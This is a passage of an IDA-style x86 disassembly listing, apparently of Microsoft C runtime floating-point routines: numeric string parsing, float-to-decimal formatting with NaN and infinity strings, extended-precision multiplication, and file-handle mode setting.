		jz	short loc_41F5E1
		sub	eax, 3
		jnz	loc_41F695


loc_41F586:				; CODE XREF: sub_41F31F+2A4j
		push	8
		jmp	short loc_41F5EF
; ---------------------------------------------------------------------------


loc_41F58A:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		mov	[ebp+var_20], edx ; jumptable 0041F382 case 8


loc_41F58D:				; CODE XREF: sub_41F31F+276j
		cmp	bl, 30h
		jnz	short loc_41F597
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F58D
; ---------------------------------------------------------------------------


loc_41F597:				; CODE XREF: sub_41F31F+271j
		cmp	bl, 31h
		jl	loc_41F692
		cmp	bl, 39h
		jg	loc_41F692
		jmp	short loc_41F5B5
; ---------------------------------------------------------------------------


loc_41F5AB:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		cmp	bl, 31h		; jumptable 0041F382 case 7
		jl	short loc_41F5BE
		cmp	bl, 39h
		jg	short loc_41F5BE


loc_41F5B5:				; CODE XREF: sub_41F31F+250j
					; sub_41F31F+28Aj
		push	9


loc_41F5B7:				; CODE XREF: sub_41F31F+76j
		pop	eax


loc_41F5B8:				; CODE XREF: sub_41F31F+240j
		dec	edi
		jmp	loc_41F376
; ---------------------------------------------------------------------------


loc_41F5BE:				; CODE XREF: sub_41F31F+28Fj
					; sub_41F31F+294j
		cmp	bl, 30h
		jnz	short loc_41F607
		jmp	short loc_41F586
; ---------------------------------------------------------------------------


loc_41F5C5:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		cmp	[ebp+arg_18], 0	; jumptable 0041F382 case 11
		jz	short loc_41F5F5
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41F5ED
		dec	eax
		dec	eax
		jnz	loc_41F695


loc_41F5E1:				; CODE XREF: sub_41F31F+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41F376
; ---------------------------------------------------------------------------


loc_41F5ED:				; CODE XREF: sub_41F31F+258j
					; sub_41F31F+2B8j
		push	7


loc_41F5EF:				; CODE XREF: sub_41F31F+85j
					; sub_41F31F+103j ...
		pop	eax
		jmp	loc_41F376
; ---------------------------------------------------------------------------


loc_41F5F5:				; CODE XREF: sub_41F31F+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41F5F9:				; CODE XREF: sub_41F31F+5Dj
					; sub_41F31F+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041F382 case 10
		jz	loc_41F697
		jmp	loc_41F376
; ---------------------------------------------------------------------------


loc_41F607:				; CODE XREF: sub_41F31F+12Dj
					; sub_41F31F+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41F697
; ---------------------------------------------------------------------------


loc_41F60F:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		mov	[ebp+var_20], 1	; jumptable 0041F382 case 9
		xor	esi, esi


loc_41F618:				; CODE XREF: sub_41F31F+339j
		cmp	dword_43B7AC, 1
		jle	short loc_41F630
		movzx	eax, bl
		push	4
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41F63F
; ---------------------------------------------------------------------------


loc_41F630:				; CODE XREF: sub_41F31F+300j
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41F63F:				; CODE XREF: sub_41F31F+30Fj
		test	eax, eax
		jz	short loc_41F65F
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41F65A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F618
; ---------------------------------------------------------------------------


loc_41F65A:				; CODE XREF: sub_41F31F+334j
		mov	esi, 1451h


loc_41F65F:				; CODE XREF: sub_41F31F+322j
		mov	[ebp+var_1C], esi


loc_41F662:				; CODE XREF: sub_41F31F+371j
		cmp	dword_43B7AC, 1
		jle	short loc_41F67A
		movzx	eax, bl
		push	4
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41F689
; ---------------------------------------------------------------------------


loc_41F67A:				; CODE XREF: sub_41F31F+34Aj
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41F689:				; CODE XREF: sub_41F31F+359j
		test	eax, eax
		jz	short loc_41F692
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F662
; ---------------------------------------------------------------------------


loc_41F692:				; CODE XREF: sub_41F31F+99j
					; sub_41F31F+E4j ...
		dec	edi
		jmp	short loc_41F697
; ---------------------------------------------------------------------------


loc_41F695:				; CODE XREF: sub_41F31F+261j
					; sub_41F31F+2BCj
		mov	edi, ecx


loc_41F697:				; CODE XREF: sub_41F31F+2DDj
					; sub_41F31F+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41F77F
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41F6C3
		cmp	[ebp+var_45], 5
		jl	short loc_41F6B7
		inc	[ebp+var_45]


loc_41F6B7:				; CODE XREF: sub_41F31F+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41F6C6
; ---------------------------------------------------------------------------


loc_41F6C3:				; CODE XREF: sub_41F31F+38Dj
		mov	eax, [ebp+var_C]


loc_41F6C6:				; CODE XREF: sub_41F31F+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41F775


loc_41F6D0:				; CODE XREF: sub_41F31F+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41F6DE
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41F6D0
; ---------------------------------------------------------------------------


loc_41F6DE:				; CODE XREF: sub_41F31F+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41F258
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41F6FD
		neg	eax


loc_41F6FD:				; CODE XREF: sub_41F31F+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41F708
		add	eax, [ebp+arg_10]


loc_41F708:				; CODE XREF: sub_41F31F+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41F710
		sub	eax, [ebp+arg_14]


loc_41F710:				; CODE XREF: sub_41F31F+3ECj
		cmp	eax, 1450h
		jle	short loc_41F747
		mov	[ebp+var_2C], 1


loc_41F71E:				; CODE XREF: sub_41F31F+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41F72A:				; CODE XREF: sub_41F31F+454j
					; sub_41F31F+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41F790
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41F7A5
; ---------------------------------------------------------------------------


loc_41F747:				; CODE XREF: sub_41F31F+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41F757
		mov	[ebp+var_30], 1
		jmp	short loc_41F71E
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F31F+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41FDC6
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41F72A
; ---------------------------------------------------------------------------


loc_41F775:				; CODE XREF: sub_41F31F+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41F72A
; ---------------------------------------------------------------------------


loc_41F77F:				; CODE XREF: sub_41F31F+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41F7A5
; ---------------------------------------------------------------------------


loc_41F790:				; CODE XREF: sub_41F31F+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41F7A5
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41F7A5:				; CODE XREF: sub_41F31F+426j
					; sub_41F31F+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41F31F	endp

; ---------------------------------------------------------------------------
off_41F7C0	dd offset loc_41F389	; DATA XREF: sub_41F31F+63r
		dd offset loc_41F3D8	; jump table for switch	statement
		dd offset loc_41F42F
		dd offset loc_41F459
		dd offset loc_41F4B4
		dd offset loc_41F52B
		dd offset loc_41F561
		dd offset loc_41F5AB
		dd offset loc_41F58A
		dd offset loc_41F60F
		dd offset loc_41F5F9
		dd offset loc_41F5C5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F7F0	proc near		; CODE XREF: sub_41ECF8+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41F852
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41F856
; ---------------------------------------------------------------------------


loc_41F852:				; CODE XREF: sub_41F7F0+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41F856:				; CODE XREF: sub_41F7F0+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41F87C
		test	edi, edi
		jnz	short loc_41F87C
		cmp	[ebp+arg_0], edi
		jnz	short loc_41F87C


loc_41F867:				; CODE XREF: sub_41F7F0+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41FA7A
; ---------------------------------------------------------------------------


loc_41F87C:				; CODE XREF: sub_41F7F0+6Cj
					; sub_41F7F0+70j ...
		cmp	dx, si
		jnz	short loc_41F8FB
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41F895
		cmp	[ebp+arg_0], 0
		jz	short loc_41F8A4


loc_41F895:				; CODE XREF: sub_41F7F0+9Dj
		test	edi, 40000000h
		jnz	short loc_41F8A4
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41F8EA
; ---------------------------------------------------------------------------


loc_41F8A4:				; CODE XREF: sub_41F7F0+A3j
					; sub_41F7F0+ABj
		test	cx, cx
		jz	short loc_41F8BE
		cmp	edi, 0C0000000h
		jnz	short loc_41F8BE
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F8E5
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41F8CD
; ---------------------------------------------------------------------------


loc_41F8BE:				; CODE XREF: sub_41F7F0+B7j
					; sub_41F7F0+BFj
		cmp	edi, eax
		jnz	short loc_41F8E5
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F8E5
		push	offset a1Inf	; "1#INF"


loc_41F8CD:				; CODE XREF: sub_41F7F0+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_417A00
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41F8DC:				; CODE XREF: sub_41F7F0+109j
		and	[ebp+var_4], 0
		jmp	loc_41FA53
; ---------------------------------------------------------------------------


loc_41F8E5:				; CODE XREF: sub_41F7F0+C5j
					; sub_41F7F0+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41F8EA:				; CODE XREF: sub_41F7F0+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_417A00
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41F8DC
; ---------------------------------------------------------------------------


loc_41F8FB:				; CODE XREF: sub_41F7F0+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41FDC6
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41F95C
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41FBA6
		pop	ecx
		pop	ecx


loc_41F95C:				; CODE XREF: sub_41F7F0+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41F976
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41F979
		jmp	loc_41F867
; ---------------------------------------------------------------------------


loc_41F976:				; CODE XREF: sub_41F7F0+173j
		mov	edi, [ebp+arg_C]


loc_41F979:				; CODE XREF: sub_41F7F0+17Fj
		cmp	edi, 15h
		jle	short loc_41F981
		push	15h
		pop	edi


loc_41F981:				; CODE XREF: sub_41F7F0+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41F997:				; CODE XREF: sub_41F7F0+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F1FD
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41F997
		test	esi, esi
		jge	short loc_41F9C1
		neg	esi
		and	esi, 0FFh
		jle	short loc_41F9C1


loc_41F9B4:				; CODE XREF: sub_41F7F0+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F22B
		dec	esi
		pop	ecx
		jnz	short loc_41F9B4


loc_41F9C1:				; CODE XREF: sub_41F7F0+1B8j
					; sub_41F7F0+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41FA1E
		mov	[ebp+arg_C], ecx


loc_41F9D1:				; CODE XREF: sub_41F7F0+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41F1FD
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F1FD
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F19F
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F1FD
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41F9D1
		mov	eax, [ebp+arg_14]


loc_41FA1E:				; CODE XREF: sub_41F7F0+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41FA5B


loc_41FA2B:				; CODE XREF: sub_41F7F0+248j
		cmp	eax, ecx
		jb	short loc_41FA3E
		cmp	byte ptr [eax],	39h
		jnz	short loc_41FA3A
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41FA2B
; ---------------------------------------------------------------------------


loc_41FA3A:				; CODE XREF: sub_41F7F0+242j
		cmp	eax, ecx
		jnb	short loc_41FA42


loc_41FA3E:				; CODE XREF: sub_41F7F0+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41FA42:				; CODE XREF: sub_41F7F0+24Cj
		inc	byte ptr [eax]


loc_41FA44:				; CODE XREF: sub_41F7F0+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41FA53:				; CODE XREF: sub_41F7F0+F0j
		mov	eax, [ebp+var_4]


loc_41FA56:				; CODE XREF: sub_41F7F0+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FA5B:				; CODE XREF: sub_41F7F0+239j
					; sub_41F7F0+275j
		cmp	eax, ecx
		jb	short loc_41FA6B
		cmp	byte ptr [eax],	30h
		jnz	short loc_41FA67
		dec	eax
		jmp	short loc_41FA5B
; ---------------------------------------------------------------------------


loc_41FA67:				; CODE XREF: sub_41F7F0+272j
		cmp	eax, ecx
		jnb	short loc_41FA44


loc_41FA6B:				; CODE XREF: sub_41F7F0+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41FA7A:				; CODE XREF: sub_41F7F0+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41FA56
sub_41F7F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FA83	proc near		; CODE XREF: sub_41EFBB+5Ep
					; sub_420271+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41FA90
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FA90:				; CODE XREF: sub_41FA83+7j
		push	dword_516C84
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_516EA4
		call	sub_41FE42
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FABD
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FABD:				; CODE XREF: sub_41FA83+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41FA83	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAC2	proc near		; CODE XREF: sub_41EFBB+1Ep
					; sub_4200EA+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_5158B4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41FB23
		mov	ebx, dword_421158


loc_41FADB:				; CODE XREF: sub_41FAC2+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41FB2B
		push	ebp
		call	sub_417BEE
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41FB2B
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41FB2B
		push	edi
		push	[esp+18h+var_4]
		call	sub_4200EA
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41FADB


loc_41FB23:				; CODE XREF: sub_41FAC2+11j
		xor	eax, eax


loc_41FB25:				; CODE XREF: sub_41FAC2+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41FB2B:				; CODE XREF: sub_41FAC2+29j
					; sub_41FAC2+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41FB25
sub_41FAC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FB30	proc near		; CODE XREF: sub_41F038+8Bp
					; sub_41F038+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_516C80
		jnb	short loc_41FB97
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_516B80[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41FB97
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41FB70
		and	cl, 7Fh
		jmp	short loc_41FB7D
; ---------------------------------------------------------------------------


loc_41FB70:				; CODE XREF: sub_41FB30+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41FB8B
		or	cl, 80h


loc_41FB7D:				; CODE XREF: sub_41FB30+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FB8B:				; CODE XREF: sub_41FB30+48j
		mov	dword_515884, 16h
		jmp	short loc_41FBA1
; ---------------------------------------------------------------------------


loc_41FB97:				; CODE XREF: sub_41FB30+Bj
					; sub_41FB30+27j
		mov	dword_515884, 9


loc_41FBA1:				; CODE XREF: sub_41FB30+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41FB30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBA6	proc near		; CODE XREF: sub_41F7F0+165p
					; sub_41FDC6+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41FDA6
		cmp	cx, 7FFFh
		jnb	loc_41FDA6
		cmp	dx, 0BFFDh
		ja	loc_41FDA6
		cmp	dx, 3FBFh
		ja	short loc_41FC0F
		xor	eax, eax
		jmp	short loc_41FC49
; ---------------------------------------------------------------------------


loc_41FC0F:				; CODE XREF: sub_41FBA6+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41FC31
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41FC31
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41FC33
		cmp	[esi], eax
		jnz	short loc_41FC33
		jmp	loc_41FDA0
; ---------------------------------------------------------------------------


loc_41FC31:				; CODE XREF: sub_41FBA6+71j
					; sub_41FBA6+79j
		xor	eax, eax


loc_41FC33:				; CODE XREF: sub_41FBA6+80j
					; sub_41FBA6+84j
		cmp	cx, ax
		jnz	short loc_41FC56
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41FC56
		cmp	[ebx+4], eax
		jnz	short loc_41FC56
		cmp	[ebx], eax
		jnz	short loc_41FC56


loc_41FC49:				; CODE XREF: sub_41FBA6+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41FDC1
; ---------------------------------------------------------------------------


loc_41FC56:				; CODE XREF: sub_41FBA6+90j
					; sub_41FBA6+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41FC66:				; CODE XREF: sub_41FBA6+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41FCBA
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41FC82:				; CODE XREF: sub_41FBA6+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41F17E
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41FCAD
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41FCAD:				; CODE XREF: sub_41FBA6+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41FC82


loc_41FCBA:				; CODE XREF: sub_41FBA6+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41FC66
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41FCFD


loc_41FCD8:				; CODE XREF: sub_41FBA6+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41FCF6
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41F1FD
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41FCD8


loc_41FCF6:				; CODE XREF: sub_41FBA6+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41FD36


loc_41FCFD:				; CODE XREF: sub_41FBA6+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41FD36
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41FD16:				; CODE XREF: sub_41FBA6+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41FD1F
		inc	[ebp+var_14]


loc_41FD1F:				; CODE XREF: sub_41FBA6+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41F22B
		dec	ebx
		pop	ecx
		jnz	short loc_41FD16
		cmp	[ebp+var_14], 0
		jz	short loc_41FD36
		or	byte ptr [ebp+var_24], 1


loc_41FD36:				; CODE XREF: sub_41FBA6+155j
					; sub_41FBA6+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41FD4D
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41FD82


loc_41FD4D:				; CODE XREF: sub_41FBA6+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41FD7F
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41FD7A
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41FD74
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41FD82
; ---------------------------------------------------------------------------


loc_41FD74:				; CODE XREF: sub_41FBA6+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41FD82
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41FBA6+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41FD82
; ---------------------------------------------------------------------------


loc_41FD7F:				; CODE XREF: sub_41FBA6+1ABj
		inc	[ebp+var_24+2]


loc_41FD82:				; CODE XREF: sub_41FBA6+1A5j
					; sub_41FBA6+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41FDA6
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41FDA0:				; CODE XREF: sub_41FBA6+86j
		mov	[esi+0Ah], ax
